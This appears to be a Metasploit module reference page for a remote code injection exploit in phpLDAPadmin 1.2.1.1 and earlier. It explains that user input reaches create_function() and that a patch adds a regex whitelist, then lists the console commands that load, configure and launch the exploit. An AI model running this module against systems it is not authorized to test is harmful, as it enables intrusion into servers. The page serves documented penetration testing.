This module exploits a vulnerability in the lib/functions.php for phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input parsed directly to the create_function() php function. A patch was issued that uses a whitelist regex expression to check the user supplied input before being parsed to the create_function() call.
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To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/phpldapadmin_query_engine
msf exploit(phpldapadmin_query_engine) > show targets
...targets...
msf exploit(phpldapadmin_query_engine) > set TARGET < target-id >
msf exploit(phpldapadmin_query_engine) > show options
...show and set options...
msf exploit(phpldapadmin_query_engine) > exploit
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